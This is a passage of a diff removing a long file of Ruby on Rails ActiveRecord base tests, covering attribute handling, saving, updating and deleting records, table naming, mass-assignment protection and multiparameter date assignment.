-    quoted = conn.quote_column_name "foo#{badchar}bar"
-    assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
-  end
-
-  def test_table_exists
-    assert !NonExistentTable.table_exists?
-    assert Topic.table_exists?
-  end
-
-  def test_set_attributes
-    topic = Topic.find(1)
-    topic.attributes = { "title" => "Budget", "author_name" => "Jason" }
-    topic.save
-    assert_equal("Budget", topic.title)
-    assert_equal("Jason", topic.author_name)
-    assert_equal(topics(:first).author_email_address, Topic.find(1).author_email_address)
-  end
-
-  def test_integers_as_nil
-    test = AutoId.create('value' => '')
-    assert_nil AutoId.find(test.id).value
-  end
-
-  def test_set_attributes_with_block
-    topic = Topic.new do |t|
-      t.title       = "Budget"
-      t.author_name = "Jason"
-    end
-
-    assert_equal("Budget", topic.title)
-    assert_equal("Jason", topic.author_name)
-  end
-
-  def test_respond_to?
-    topic = Topic.find(1)
-    assert topic.respond_to?("title")
-    assert topic.respond_to?("title?")
-    assert topic.respond_to?("title=")
-    assert topic.respond_to?(:title)
-    assert topic.respond_to?(:title?)
-    assert topic.respond_to?(:title=)
-    assert topic.respond_to?("author_name")
-    assert topic.respond_to?("attribute_names")
-    assert !topic.respond_to?("nothingness")
-    assert !topic.respond_to?(:nothingness)
-  end
-
-  def test_array_content
-    topic = Topic.new
-    topic.content = %w( one two three )
-    topic.save
-
-    assert_equal(%w( one two three ), Topic.find(topic.id).content)
-  end
-
-  def test_read_attributes_before_type_cast
-    category = Category.new({:name=>"Test categoty", :type => nil})
-    category_attrs = {"name"=>"Test categoty", "type" => nil, "categorizations_count" => nil}
-    assert_equal category_attrs , category.attributes_before_type_cast
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_read_attributes_before_type_cast_on_boolean
-      bool = Booleantest.create({ "value" => false })
-      assert_equal "0", bool.reload.attributes_before_type_cast["value"]
-    end
-  end
-
-  def test_read_attributes_before_type_cast_on_datetime
-    developer = Developer.find(:first)
-    assert_equal developer.created_at.to_s(:db) , developer.attributes_before_type_cast["created_at"]
-  end
-
-  def test_hash_content
-    topic = Topic.new
-    topic.content = { "one" => 1, "two" => 2 }
-    topic.save
-
-    assert_equal 2, Topic.find(topic.id).content["two"]
-
-    topic.content_will_change!
-    topic.content["three"] = 3
-    topic.save
-
-    assert_equal 3, Topic.find(topic.id).content["three"]
-  end
-
-  def test_update_array_content
-    topic = Topic.new
-    topic.content = %w( one two three )
-
-    topic.content.push "four"
-    assert_equal(%w( one two three four ), topic.content)
-
-    topic.save
-
-    topic = Topic.find(topic.id)
-    topic.content << "five"
-    assert_equal(%w( one two three four five ), topic.content)
-  end
-
-  def test_case_sensitive_attributes_hash
-    # DB2 is not case-sensitive
-    return true if current_adapter?(:DB2Adapter)
-
-    assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.find(:first).attributes
-  end
-
-  def test_create
-    topic = Topic.new
-    topic.title = "New Topic"
-    topic.save
-    topic_reloaded = Topic.find(topic.id)
-    assert_equal("New Topic", topic_reloaded.title)
-  end
-
-  def test_save!
-    topic = Topic.new(:title => "New Topic")
-    assert topic.save!
-
-    reply = Reply.new
-    assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
-  end
-
-  def test_save_null_string_attributes
-    topic = Topic.find(1)
-    topic.attributes = { "title" => "null", "author_name" => "null" }
-    topic.save!
-    topic.reload
-    assert_equal("null", topic.title)
-    assert_equal("null", topic.author_name)
-  end
-
-  def test_save_nil_string_attributes
-    topic = Topic.find(1)
-    topic.title = nil
-    topic.save!
-    topic.reload
-    assert_nil topic.title
-  end
-
-  def test_save_for_record_with_only_primary_key
-    minimalistic = Minimalistic.new
-    assert_nothing_raised { minimalistic.save }
-  end
-
-  def test_save_for_record_with_only_primary_key_that_is_provided
-    assert_nothing_raised { Minimalistic.create!(:id => 2) }
-  end
-
-  def test_hashes_not_mangled
-    new_topic = { :title => "New Topic" }
-    new_topic_values = { :title => "AnotherTopic" }
-
-    topic = Topic.new(new_topic)
-    assert_equal new_topic[:title], topic.title
-
-    topic.attributes= new_topic_values
-    assert_equal new_topic_values[:title], topic.title
-  end
-
-  def test_create_many
-    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
-    assert_equal 2, topics.size
-    assert_equal "first", topics.first.title
-  end
-
-  def test_create_columns_not_equal_attributes
-    topic = Topic.new
-    topic.title = 'Another New Topic'
-    topic.send :write_attribute, 'does_not_exist', 'test'
-    assert_nothing_raised { topic.save }
-  end
-
-  def test_create_through_factory
-    topic = Topic.create("title" => "New Topic")
-    topicReloaded = Topic.find(topic.id)
-    assert_equal(topic, topicReloaded)
-  end
-
-  def test_create_through_factory_with_block
-    topic = Topic.create("title" => "New Topic") do |t|
-      t.author_name = "David"
-    end
-    topicReloaded = Topic.find(topic.id)
-    assert_equal("New Topic", topic.title)
-    assert_equal("David", topic.author_name)
-  end
-
-  def test_create_many_through_factory_with_block
-    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }]) do |t|
-      t.author_name = "David"
-    end
-    assert_equal 2, topics.size
-    topic1, topic2 = Topic.find(topics[0].id), Topic.find(topics[1].id)
-    assert_equal "first", topic1.title
-    assert_equal "David", topic1.author_name
-    assert_equal "second", topic2.title
-    assert_equal "David", topic2.author_name
-  end
-
-  def test_update
-    topic = Topic.new
-    topic.title = "Another New Topic"
-    topic.written_on = "2003-12-12 23:23:00"
-    topic.save
-    topicReloaded = Topic.find(topic.id)
-    assert_equal("Another New Topic", topicReloaded.title)
-
-    topicReloaded.title = "Updated topic"
-    topicReloaded.save
-
-    topicReloadedAgain = Topic.find(topic.id)
-
-    assert_equal("Updated topic", topicReloadedAgain.title)
-  end
-
-  def test_update_columns_not_equal_attributes
-    topic = Topic.new
-    topic.title = "Still another topic"
-    topic.save
-
-    topicReloaded = Topic.find(topic.id)
-    topicReloaded.title = "A New Topic"
-    topicReloaded.send :write_attribute, 'does_not_exist', 'test'
-    assert_nothing_raised { topicReloaded.save }
-  end
-
-  def test_update_for_record_with_only_primary_key
-    minimalistic = minimalistics(:first)
-    assert_nothing_raised { minimalistic.save }
-  end
-
-  def test_write_attribute
-    topic = Topic.new
-    topic.send(:write_attribute, :title, "Still another topic")
-    assert_equal "Still another topic", topic.title
-
-    topic.send(:write_attribute, "title", "Still another topic: part 2")
-    assert_equal "Still another topic: part 2", topic.title
-  end
-
-  def test_read_attribute
-    topic = Topic.new
-    topic.title = "Don't change the topic"
-    assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
-    assert_equal "Don't change the topic", topic["title"]
-
-    assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
-    assert_equal "Don't change the topic", topic[:title]
-  end
-
-  def test_read_attribute_when_false
-    topic = topics(:first)
-    topic.approved = false
-    assert !topic.approved?, "approved should be false"
-    topic.approved = "false"
-    assert !topic.approved?, "approved should be false"
-  end
-
-  def test_read_attribute_when_true
-    topic = topics(:first)
-    topic.approved = true
-    assert topic.approved?, "approved should be true"
-    topic.approved = "true"
-    assert topic.approved?, "approved should be true"
-  end
-
-  def test_read_write_boolean_attribute
-    topic = Topic.new
-    # puts ""
-    # puts "New Topic"
-    # puts topic.inspect
-    topic.approved = "false"
-    # puts "Expecting false"
-    # puts topic.inspect
-    assert !topic.approved?, "approved should be false"
-    topic.approved = "false"
-    # puts "Expecting false"
-    # puts topic.inspect
-    assert !topic.approved?, "approved should be false"
-    topic.approved = "true"
-    # puts "Expecting true"
-    # puts topic.inspect
-    assert topic.approved?, "approved should be true"
-    topic.approved = "true"
-    # puts "Expecting true"
-    # puts topic.inspect
-    assert topic.approved?, "approved should be true"
-    # puts ""
-  end
-
-  def test_query_attribute_string
-    [nil, "", " "].each do |value|
-      assert_equal false, Topic.new(:author_name => value).author_name?
-    end
-
-    assert_equal true, Topic.new(:author_name => "Name").author_name?
-  end
-
-  def test_query_attribute_number
-    [nil, 0, "0"].each do |value|
-      assert_equal false, Developer.new(:salary => value).salary?
-    end
-
-    assert_equal true, Developer.new(:salary => 1).salary?
-    assert_equal true, Developer.new(:salary => "1").salary?
-  end
-
-  def test_query_attribute_boolean
-    [nil, "", false, "false", "f", 0].each do |value|
-      assert_equal false, Topic.new(:approved => value).approved?
-    end
-
-    [true, "true", "1", 1].each do |value|
-      assert_equal true, Topic.new(:approved => value).approved?
-    end
-  end
-
-  def test_query_attribute_with_custom_fields
-    object = Company.find_by_sql(<<-SQL).first
-      SELECT c1.*, c2.ruby_type as string_value, c2.rating as int_value
-        FROM companies c1, companies c2
-       WHERE c1.firm_id = c2.id
-         AND c1.id = 2
-    SQL
-
-    assert_equal "Firm", object.string_value
-    assert object.string_value?
-
-    object.string_value = "  "
-    assert !object.string_value?
-
-    assert_equal 1, object.int_value.to_i
-    assert object.int_value?
-
-    object.int_value = "0"
-    assert !object.int_value?
-  end
-
-
-  def test_reader_for_invalid_column_names
-    Topic.send(:define_read_method, "mumub-jumbo".to_sym, "mumub-jumbo", nil)
-    assert !Topic.generated_methods.include?("mumub-jumbo")
-  end
-
-  def test_non_attribute_access_and_assignment
-    topic = Topic.new
-    assert !topic.respond_to?("mumbo")
-    assert_raise(NoMethodError) { topic.mumbo }
-    assert_raise(NoMethodError) { topic.mumbo = 5 }
-  end
-
-  def test_preserving_date_objects
-    if current_adapter?(:SybaseAdapter, :OracleAdapter)
-      # Sybase ctlib does not (yet?) support the date type; use datetime instead.
-      # Oracle treats all dates/times as Time.
-      assert_kind_of(
-        Time, Topic.find(1).last_read,
-        "The last_read attribute should be of the Time class"
-      )
-    else
-      assert_kind_of(
-        Date, Topic.find(1).last_read,
-        "The last_read attribute should be of the Date class"
-      )
-    end
-  end
-
-  def test_preserving_time_objects
-    assert_kind_of(
-      Time, Topic.find(1).bonus_time,
-      "The bonus_time attribute should be of the Time class"
-    )
-
-    assert_kind_of(
-      Time, Topic.find(1).written_on,
-      "The written_on attribute should be of the Time class"
-    )
-
-    # For adapters which support microsecond resolution.
-    if current_adapter?(:PostgreSQLAdapter)
-      assert_equal 11, Topic.find(1).written_on.sec
-      assert_equal 223300, Topic.find(1).written_on.usec
-      assert_equal 9900, Topic.find(2).written_on.usec
-    end
-  end
-
-  def test_custom_mutator
-    topic = Topic.find(1)
-    # This mutator is protected in the class definition
-    topic.send(:approved=, true)
-    assert topic.instance_variable_get("@custom_approved")
-  end
-
-  def test_delete
-    topic = Topic.find(1)
-    assert_equal topic, topic.delete, 'topic.delete did not return self'
-    assert topic.frozen?, 'topic not frozen after delete'
-    assert topic.destroyed?, 'topic not marked as being destroyed'
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
-  end
-
-  def test_delete_doesnt_run_callbacks
-    Topic.find(1).delete
-    assert_not_nil Topic.find(2)
-  end
-
-  def test_destroy
-    topic = Topic.find(1)
-    assert_equal topic, topic.destroy, 'topic.destroy did not return self'
-    assert topic.frozen?, 'topic not frozen after destroy'
-    assert topic.destroyed?, 'topic not marked as being destroyed'
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
-  end
-
-  def test_record_not_found_exception
-    assert_raise(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
-  end
-
-  def test_initialize_with_attributes
-    topic = Topic.new({
-      "title" => "initialized from attributes", "written_on" => "2003-12-12 23:23"
-    })
-
-    assert_equal("initialized from attributes", topic.title)
-  end
-
-  def test_initialize_with_invalid_attribute
-    begin
-      topic = Topic.new({ "title" => "test",
-        "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31"})
-    rescue ActiveRecord::MultiparameterAssignmentErrors => ex
-      assert_equal(1, ex.errors.size)
-      assert_equal("last_read", ex.errors[0].attribute)
-    end
-  end
-
-  def test_load
-    topics = Topic.find(:all, :order => 'id')
-    assert_equal(4, topics.size)
-    assert_equal(topics(:first).title, topics.first.title)
-  end
-
-  def test_load_with_condition
-    topics = Topic.find(:all, :conditions => "author_name = 'Mary'")
-
-    assert_equal(1, topics.size)
-    assert_equal(topics(:second).title, topics.first.title)
-  end
-
-  def test_table_name_guesses
-    classes = [Category, Smarts, CreditCard, CreditCard::PinNumber, CreditCard::PinNumber::CvvCode, CreditCard::SubPinNumber, CreditCard::Brand, MasterCreditCard]
-
-    assert_equal "topics", Topic.table_name
-
-    assert_equal "categories", Category.table_name
-    assert_equal "smarts", Smarts.table_name
-    assert_equal "credit_cards", CreditCard.table_name
-    assert_equal "credit_card_pin_numbers", CreditCard::PinNumber.table_name
-    assert_equal "credit_card_pin_number_cvv_codes", CreditCard::PinNumber::CvvCode.table_name
-    assert_equal "credit_card_pin_numbers", CreditCard::SubPinNumber.table_name
-    assert_equal "categories", CreditCard::Brand.table_name
-    assert_equal "master_credit_cards", MasterCreditCard.table_name
-
-    ActiveRecord::Base.pluralize_table_names = false
-    classes.each(&:reset_table_name)
-
-    assert_equal "category", Category.table_name
-    assert_equal "smarts", Smarts.table_name
-    assert_equal "credit_card", CreditCard.table_name
-    assert_equal "credit_card_pin_number", CreditCard::PinNumber.table_name
-    assert_equal "credit_card_pin_number_cvv_code", CreditCard::PinNumber::CvvCode.table_name
-    assert_equal "credit_card_pin_number", CreditCard::SubPinNumber.table_name
-    assert_equal "category", CreditCard::Brand.table_name
-    assert_equal "master_credit_card", MasterCreditCard.table_name
-
-    ActiveRecord::Base.pluralize_table_names = true
-    classes.each(&:reset_table_name)
-
-    ActiveRecord::Base.table_name_prefix = "test_"
-    Category.reset_table_name
-    assert_equal "test_categories", Category.table_name
-    ActiveRecord::Base.table_name_suffix = "_test"
-    Category.reset_table_name
-    assert_equal "test_categories_test", Category.table_name
-    ActiveRecord::Base.table_name_prefix = ""
-    Category.reset_table_name
-    assert_equal "categories_test", Category.table_name
-    ActiveRecord::Base.table_name_suffix = ""
-    Category.reset_table_name
-    assert_equal "categories", Category.table_name
-
-    ActiveRecord::Base.pluralize_table_names = false
-    ActiveRecord::Base.table_name_prefix = "test_"
-    Category.reset_table_name
-    assert_equal "test_category", Category.table_name
-    ActiveRecord::Base.table_name_suffix = "_test"
-    Category.reset_table_name
-    assert_equal "test_category_test", Category.table_name
-    ActiveRecord::Base.table_name_prefix = ""
-    Category.reset_table_name
-    assert_equal "category_test", Category.table_name
-    ActiveRecord::Base.table_name_suffix = ""
-    Category.reset_table_name
-    assert_equal "category", Category.table_name
-
-    ActiveRecord::Base.pluralize_table_names = true
-    classes.each(&:reset_table_name)
-  end
-
-  def test_destroy_all
-    conditions = "author_name = 'Mary'"
-    topics_by_mary = Topic.all(:conditions => conditions, :order => 'id')
-    assert ! topics_by_mary.empty?
-
-    assert_difference('Topic.count', -topics_by_mary.size) do
-      destroyed = Topic.destroy_all(conditions).sort_by(&:id)
-      assert_equal topics_by_mary, destroyed
-      assert destroyed.all? { |topic| topic.frozen? }
-    end
-  end
-
-  def test_destroy_many
-    clients = Client.find([2, 3], :order => 'id')
-
-    assert_difference('Client.count', -2) do
-      destroyed = Client.destroy([2, 3]).sort_by(&:id)
-      assert_equal clients, destroyed
-      assert destroyed.all? { |client| client.frozen? }
-    end
-  end
-
-  def test_delete_many
-    original_count = Topic.count
-    Topic.delete(deleting = [1, 2])
-    assert_equal original_count - deleting.size, Topic.count
-  end
-
-  def test_boolean_attributes
-    assert ! Topic.find(1).approved?
-    assert Topic.find(2).approved?
-  end
-
-  def test_update_all
-    assert_equal Topic.count, Topic.update_all("content = 'bulk updated!'")
-    assert_equal "bulk updated!", Topic.find(1).content
-    assert_equal "bulk updated!", Topic.find(2).content
-
-    assert_equal Topic.count, Topic.update_all(['content = ?', 'bulk updated again!'])
-    assert_equal "bulk updated again!", Topic.find(1).content
-    assert_equal "bulk updated again!", Topic.find(2).content
-
-    assert_equal Topic.count, Topic.update_all(['content = ?', nil])
-    assert_nil Topic.find(1).content
-  end
-
-  def test_update_all_with_hash
-    assert_not_nil Topic.find(1).last_read
-    assert_equal Topic.count, Topic.update_all(:content => 'bulk updated with hash!', :last_read => nil)
-    assert_equal "bulk updated with hash!", Topic.find(1).content
-    assert_equal "bulk updated with hash!", Topic.find(2).content
-    assert_nil Topic.find(1).last_read
-    assert_nil Topic.find(2).last_read
-  end
-
-  def test_update_all_with_non_standard_table_name
-    assert_equal 1, WarehouseThing.update_all(['value = ?', 0], ['id = ?', 1])
-    assert_equal 0, WarehouseThing.find(1).value
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_update_all_with_order_and_limit
-      assert_equal 1, Topic.update_all("content = 'bulk updated!'", nil, :limit => 1, :order => 'id DESC')
-    end
-  end
-
-  def test_update_all_ignores_order_without_limit_from_association
-    author = authors(:david)
-    assert_nothing_raised do
-      assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
-    end
-  end
-
-  def test_update_all_with_order_and_limit_updates_subset_only
-    author = authors(:david)
-    assert_nothing_raised do
-      assert_equal 1, author.posts_sorted_by_id_limited.size
-      assert_equal 2, author.posts_sorted_by_id_limited.find(:all, :limit => 2).size
-      assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
-      assert_equal "bulk update!", posts(:welcome).body
-      assert_not_equal "bulk update!", posts(:thinking).body
-    end
-  end
-
-  def test_update_many
-    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
-    updated = Topic.update(topic_data.keys, topic_data.values)
-
-    assert_equal 2, updated.size
-    assert_equal "1 updated", Topic.find(1).content
-    assert_equal "2 updated", Topic.find(2).content
-  end
-
-  def test_delete_all
-    assert Topic.count > 0
-
-    assert_equal Topic.count, Topic.delete_all
-  end
-
-  def test_update_by_condition
-    Topic.update_all "content = 'bulk updated!'", ["approved = ?", true]
-    assert_equal "Have a nice day", Topic.find(1).content
-    assert_equal "bulk updated!", Topic.find(2).content
-  end
-
-  def test_attribute_present
-    t = Topic.new
-    t.title = "hello there!"
-    t.written_on = Time.now
-    assert t.attribute_present?("title")
-    assert t.attribute_present?("written_on")
-    assert !t.attribute_present?("content")
-  end
-
-  def test_attribute_keys_on_new_instance
-    t = Topic.new
-    assert_equal nil, t.title, "The topics table has a title column, so it should be nil"
-    assert_raise(NoMethodError) { t.title2 }
-  end
-
-  def test_class_name
-    ActiveSupport::Deprecation.silence do
-      assert_equal "Firm", ActiveRecord::Base.class_name("firms")
-      assert_equal "Category", ActiveRecord::Base.class_name("categories")
-      assert_equal "AccountHolder", ActiveRecord::Base.class_name("account_holder")
-
-      ActiveRecord::Base.pluralize_table_names = false
-      assert_equal "Firms", ActiveRecord::Base.class_name( "firms" )
-      ActiveRecord::Base.pluralize_table_names = true
-
-      ActiveRecord::Base.table_name_prefix = "test_"
-      assert_equal "Firm", ActiveRecord::Base.class_name( "test_firms" )
-      ActiveRecord::Base.table_name_suffix = "_tests"
-      assert_equal "Firm", ActiveRecord::Base.class_name( "test_firms_tests" )
-      ActiveRecord::Base.table_name_prefix = ""
-      assert_equal "Firm", ActiveRecord::Base.class_name( "firms_tests" )
-      ActiveRecord::Base.table_name_suffix = ""
-      assert_equal "Firm", ActiveRecord::Base.class_name( "firms" )
-    end
-  end
-
-  def test_null_fields
-    assert_nil Topic.find(1).parent_id
-    assert_nil Topic.create("title" => "Hey you").parent_id
-  end
-
-  def test_default_values
-    topic = Topic.new
-    assert topic.approved?
-    assert_nil topic.written_on
-    assert_nil topic.bonus_time
-    assert_nil topic.last_read
-
-    topic.save
-
-    topic = Topic.find(topic.id)
-    assert topic.approved?
-    assert_nil topic.last_read
-
-    # Oracle has some funky default handling, so it requires a bit of
-    # extra testing. See ticket #2788.
-    if current_adapter?(:OracleAdapter)
-      test = TestOracleDefault.new
-      assert_equal "X", test.test_char
-      assert_equal "hello", test.test_string
-      assert_equal 3, test.test_int
-    end
-  end
-
-  # Oracle, and Sybase do not have a TIME datatype.
-  unless current_adapter?(:OracleAdapter, :SybaseAdapter)
-    def test_utc_as_time_zone
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time" => "5:42:00AM" }
-      topic = Topic.find(1)
-      topic.attributes = attributes
-      assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
-      Topic.default_timezone = :local
-    end
-
-    def test_utc_as_time_zone_and_new
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time(1i)"=>"2000",
-                     "bonus_time(2i)"=>"1",
-                     "bonus_time(3i)"=>"1",
-                     "bonus_time(4i)"=>"10",
-                     "bonus_time(5i)"=>"35",
-                     "bonus_time(6i)"=>"50" }
-      topic = Topic.new(attributes)
-      assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
-      Topic.default_timezone = :local
-    end
-  end
-
-  def test_default_values_on_empty_strings
-    topic = Topic.new
-    topic.approved  = nil
-    topic.last_read = nil
-
-    topic.save
-
-    topic = Topic.find(topic.id)
-    assert_nil topic.last_read
-
-    # Sybase adapter does not allow nulls in boolean columns
-    if current_adapter?(:SybaseAdapter)
-      assert topic.approved == false
-    else
-      assert_nil topic.approved
-    end
-  end
-
-  def test_equality
-    assert_equal Topic.find(1), Topic.find(2).topic
-  end
-
-  def test_equality_of_new_records
-    assert_not_equal Topic.new, Topic.new
-  end
-
-  def test_hashing
-    assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
-  end
-
-  def test_delete_new_record
-    client = Client.new
-    client.delete
-    assert client.frozen?
-  end
-
-  def test_delete_record_with_associations
-    client = Client.find(3)
-    client.delete
-    assert client.frozen?
-    assert_kind_of Firm, client.firm
-    assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
-  end
-
-  def test_destroy_new_record
-    client = Client.new
-    client.destroy
-    assert client.frozen?
-  end
-
-  def test_destroy_record_with_associations
-    client = Client.find(3)
-    client.destroy
-    assert client.frozen?
-    assert_kind_of Firm, client.firm
-    assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
-  end
-
-  def test_update_attribute
-    assert !Topic.find(1).approved?
-    Topic.find(1).update_attribute("approved", true)
-    assert Topic.find(1).approved?
-
-    Topic.find(1).update_attribute(:approved, false)
-    assert !Topic.find(1).approved?
-  end
-
-  def test_update_attributes
-    topic = Topic.find(1)
-    assert !topic.approved?
-    assert_equal "The First Topic", topic.title
-
-    topic.update_attributes("approved" => true, "title" => "The First Topic Updated")
-    topic.reload
-    assert topic.approved?
-    assert_equal "The First Topic Updated", topic.title
-
-    topic.update_attributes(:approved => false, :title => "The First Topic")
-    topic.reload
-    assert !topic.approved?
-    assert_equal "The First Topic", topic.title
-  end
-
-  def test_update_attributes!
-    reply = Reply.find(2)
-    assert_equal "The Second Topic of the day", reply.title
-    assert_equal "Have a nice day", reply.content
-
-    reply.update_attributes!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
-    reply.reload
-    assert_equal "The Second Topic of the day updated", reply.title
-    assert_equal "Have a nice evening", reply.content
-
-    reply.update_attributes!(:title => "The Second Topic of the day", :content => "Have a nice day")
-    reply.reload
-    assert_equal "The Second Topic of the day", reply.title
-    assert_equal "Have a nice day", reply.content
-
-    assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(:title => nil, :content => "Have a nice evening") }
-  end
-
-  def test_mass_assignment_should_raise_exception_if_accessible_and_protected_attribute_writers_are_both_used
-    topic = TopicWithProtectedContentAndAccessibleAuthorName.new
-    assert_raise(RuntimeError) { topic.attributes = { "author_name" => "me" } }
-    assert_raise(RuntimeError) { topic.attributes = { "content" => "stuff" } }
-  end
-
-  def test_mass_assignment_protection
-    firm = Firm.new
-    firm.attributes = { "name" => "Next Angle", "rating" => 5 }
-    assert_equal 1, firm.rating
-  end
-
-  def test_mass_assignment_protection_against_class_attribute_writers
-    [:logger, :configurations, :primary_key_prefix_type, :table_name_prefix, :table_name_suffix, :pluralize_table_names, :colorize_logging,
-      :default_timezone, :schema_format, :lock_optimistically, :record_timestamps].each do |method|
-      assert  Task.respond_to?(method)
-      assert  Task.respond_to?("#{method}=")
-      assert  Task.new.respond_to?(method)
-      assert !Task.new.respond_to?("#{method}=")
-    end
-  end
-
-  def test_customized_primary_key_remains_protected
-    subscriber = Subscriber.new(:nick => 'webster123', :name => 'nice try')
-    assert_nil subscriber.id
-
-    keyboard = Keyboard.new(:key_number => 9, :name => 'nice try')
-    assert_nil keyboard.id
-  end
-
-  def test_customized_primary_key_remains_protected_when_referred_to_as_id
-    subscriber = Subscriber.new(:id => 'webster123', :name => 'nice try')
-    assert_nil subscriber.id
-
-    keyboard = Keyboard.new(:id => 9, :name => 'nice try')
-    assert_nil keyboard.id
-  end
-
-  def test_mass_assigning_invalid_attribute
-    firm = Firm.new
-
-    assert_raise(ActiveRecord::UnknownAttributeError) do
-      firm.attributes = { "id" => 5, "type" => "Client", "i_dont_even_exist" => 20 }
-    end
-  end
-
-  def test_mass_assignment_protection_on_defaults
-    firm = Firm.new
-    firm.attributes = { "id" => 5, "type" => "Client" }
-    assert_nil firm.id
-    assert_equal "Firm", firm[:type]
-  end
-
-  def test_mass_assignment_accessible
-    reply = Reply.new("title" => "hello", "content" => "world", "approved" => true)
-    reply.save
-
-    assert reply.approved?
-
-    reply.approved = false
-    reply.save
-
-    assert !reply.approved?
-  end
-
-  def test_mass_assignment_protection_inheritance
-    assert_nil LoosePerson.accessible_attributes
-    assert_equal Set.new([ 'credit_rating', 'administrator' ]), LoosePerson.protected_attributes
-
-    assert_nil LooseDescendant.accessible_attributes
-    assert_equal Set.new([ 'credit_rating', 'administrator', 'phone_number' ]), LooseDescendant.protected_attributes
-
-    assert_nil LooseDescendantSecond.accessible_attributes
-    assert_equal Set.new([ 'credit_rating', 'administrator', 'phone_number', 'name' ]), LooseDescendantSecond.protected_attributes, 'Running attr_protected twice in one class should merge the protections'
-
-    assert_nil TightPerson.protected_attributes
-    assert_equal Set.new([ 'name', 'address' ]), TightPerson.accessible_attributes
-
-    assert_nil TightDescendant.protected_attributes
-    assert_equal Set.new([ 'name', 'address', 'phone_number' ]), TightDescendant.accessible_attributes
-  end
-
-  def test_readonly_attributes
-    assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
-
-    post = ReadonlyTitlePost.create(:title => "cannot change this", :body => "changeable")
-    post.reload
-    assert_equal "cannot change this", post.title
-
-    post.update_attributes(:title => "try to change", :body => "changed")
-    post.reload
-    assert_equal "cannot change this", post.title
-    assert_equal "changed", post.body
-  end
-
-  def test_multiparameter_attribute_assignment_via_association_proxy
-    multiparameter_date_attribute = {
-      "ends_on(1i)" => "2004", "ends_on(2i)" => "6", "ends_on(3i)" => "24",
-      "ends_on(4i)" => "16", "ends_on(5i)" => "24", "ends_on(6i)" => "00"
-    }
-
-    author = Author.create(:name => "dhh")
-    event  = author.events.create(multiparameter_date_attribute)
-    
-    assert_equal Time.local(2004,6,24,16,24,0),event.ends_on
-  end
-
-  def test_multiparameter_attributes_on_date
-    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(2004, 6, 24), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_year
-    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "24" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(1, 6, 24), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_month
-    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "24" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(2004, 1, 24), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_day
-    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(2004, 6, 1), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_day_and_year
-    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(1, 6, 1), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_day_and_month
-    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(2004, 1, 1), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_empty_year_and_month
-    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "24" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # note that extra #to_date call allows test to pass for Oracle, which
-    # treats dates/times the same
-    assert_date_from_db Date.new(1, 1, 24), topic.last_read.to_date
-  end
-
-  def test_multiparameter_attributes_on_date_with_all_empty
-    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "" }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_nil topic.last_read
-  end
-
-  def test_multiparameter_attributes_on_time
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
